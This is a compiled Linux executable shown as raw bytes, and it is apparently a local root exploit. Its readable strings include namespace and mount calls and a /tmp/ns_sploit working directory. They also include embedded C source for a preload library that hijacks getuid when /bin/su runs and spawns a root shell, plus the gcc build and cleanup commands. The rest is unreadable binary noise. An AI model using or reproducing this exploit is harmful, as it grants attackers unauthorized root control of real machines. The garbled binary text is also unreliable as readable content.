ELF>° @@"@8 @@@@@@øø88@8@@@<< ``Àð ((`(`ÐÐTT@T@DDPåtdèè@è@<<QåtdRåtd``ðð/lib64/ld-linux-x86-64.so.2GNUGNUê—·Ì`òÕ“Û@¥œÛ¡NÅQ?9ò‹ :v,Vw4Gk} &cq\ UN@à `libc.so.6exitexeclwaitforkmkdirchmodunsharechdirclonestderrsystemusleepfwriterenamewaitpidcloseopenumount__libc_start_main__gmon_start__GLIBC_2.4GLIBC_2.2.5ii žui ¨ø` à ` ` `( `0 `8 `@ `H `P `X ` ` ` h ` p ` x ` € `ˆ ` `˜ `  `¨ `° `¸ `HƒìH‹Å H…ÀtèÃHƒÄÃÿ5² ÿ%´ @ÿ%² héàÿÿÿÿ%ª héÐÿÿÿÿ%¢ héÀÿÿÿÿ%š hé°ÿÿÿÿ%’ hé ÿÿÿÿ%Š héÿÿÿÿ%‚ hé€ÿÿÿÿ%z hépÿÿÿÿ%r hé`ÿÿÿÿ%j h éPÿÿÿÿ%b h é@ÿÿÿÿ%Z h é0ÿÿÿÿ%R h é ÿÿÿÿ%J h éÿÿÿÿ%B héÿÿÿÿ%: héðþÿÿÿ%2 héàþÿÿÿ%* héÐþÿÿÿ%" héÀþÿÿÿ% hé°þÿÿÿ% hé þÿÿ1íI‰Ñ^H‰âHƒäðPTIÇÀ`@HÇÁð@HÇÇc @èÿÿÿôfD¸× `UH-Ð `HƒøH‰åw]øH…Àtô]¿Ð `ÿà€¸Ð `UH-Ð `HÁøH‰åH‰ÂHÁê?HÐHÑøu]úH…Òtô]H‰Æ¿Ð `ÿ =‘ uUH‰åè~ÿÿÿ]Æ~ óÃ@Hƒ=¨ t¸H…ÀtU¿ `H‰åÿÐ]é{ÿÿÿésÿÿÿUH‰åHƒì H‰}è¿x@èþÿÿ¾ÿ¿Ž@èžýÿÿ¾ÿ¿@èýÿÿ¾ÿ¿±@è€ýÿÿ¾ÿ¿Æ@èqýÿÿH‹ê H‰Áº ¾¿×@èSþÿÿA¸è@¹íÀº @¾Æ@¿*@è„ýÿÿ…ÀtdA¸8@¹íÀº*@¾Æ@¿*@èaýÿÿ…Àt(H‹† H‰Áº0¾¿ @èïýÿÿ¿ÿÿÿÿèÕýÿÿHÇEøÑ@¾ÿ¿Ù@è~ýÿÿëHÇEøò@¿Æ@èýÿÿH‹Eø¾þ@H‰Çè‰ýÿÿ¿ @èÿüÿÿ¿Æ@èµüÿÿH‹ H‰Áº ¾¿@èwýÿÿA¸@¹íÀº @¾Æ@¿*@è¨üÿÿ…Àt uid_t(*_real_getuid) (void); char path[128]; uid_t getuid(void) { _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid"); readlink("/proc/self/exe", (char *) &path, 128); if(geteuid() == 0 && !strcmp(path, "/bin/su")) { unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so"); setresuid(0, 0, 0); setresgid(0, 0, 0); execle("/bin/sh", "sh", "-i", NULL, NULL); } return _real_getuid(); } gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -wcouldn't create dynamic library /tmp/ofs-lib.so rm -rf /tmp/ns_sploit /tmp/ofs-lib.csu/bin/su;<hóÿÿˆÈôÿÿXµõÿÿ°{÷ÿÿÐúÿÿðxúÿÿ8zRx hôÿÿ*zRx $Øòÿÿ`FJ w€?;*3$"DýôÿÿÆA†C Á d£öÿÿ„A†C  D„ùÿÿeBEŽE E(ŒH0†H8ƒM@l8A0A(B BBBÌ8ùÿÿp @P @ (@ d@``õþÿo˜@è@À@ ´  `ø0@@0 þÿÿoÐ@ÿÿÿoðÿÿoœ@(`f@v@†@–@¦@¶@Æ@Ö@æ@ö@ @ @& @6 @F @V @f @v @† @– @¦ @GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment8@8#T@T 1t@t$Döÿÿo˜@˜$N À@À(Vè@è´^ÿÿÿoœ@œ.kþÿÿoÐ@Ð0z@0„0@0ø Ž(@(‰P@P`”° @° ²šd@d  p@px¨è@è<¶(@(À`Ì`Ø ` Ý(`(Ðæø`øë ` ÀôÀ `À úà `Ð  ÿ0Ð $ô €)/ 1º8@T@t@˜@À@è@œ@Ð@ @ 0@ (@ P@ ° @d@p@è@(@`` `(`ø` `À `à `ñÿ  ` à @.  @A P @Wè `f` p @™`¸ñÿ¾!`Ê @ÆñÿÕ8@ã `ñÿï`(` ` `2 `@B ^ À `i|£¶ÉÐ `Ðd@Öéü#BÀ `O ^È `kp@z ð@eŠ!p ° @–Ð `¢ c @„§ºÏá õ /Ð `; Uhz (@€’¦à `crtstuff.c__JCR_LIST__deregister_tm_clonesregister_tm_clones__do_global_dtors_auxcompleted.6972__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryaaa.cchild_stackchild_exec__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTabledata_startmkdir@@GLIBC_2.2.5clone@@GLIBC_2.2.5umount@@GLIBC_2.2.5unshare@@GLIBC_2.4write@@GLIBC_2.2.5_edata_finimount@@GLIBC_2.2.5chdir@@GLIBC_2.2.5system@@GLIBC_2.2.5close@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init_end_start__bss_startmainchmod@@GLIBC_2.2.5waitpid@@GLIBC_2.2.5open@@GLIBC_2.2.5_Jv_RegisterClassesrename@@GLIBC_2.2.5exit@@GLIBC_2.2.5fwrite@@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTableexecl@@GLIBC_2.2.5wait@@GLIBC_2.2.5_initfork@@GLIBC_2.2.5usleep@@GLIBC_2.2.5stderr@@GLIBC_2.2.5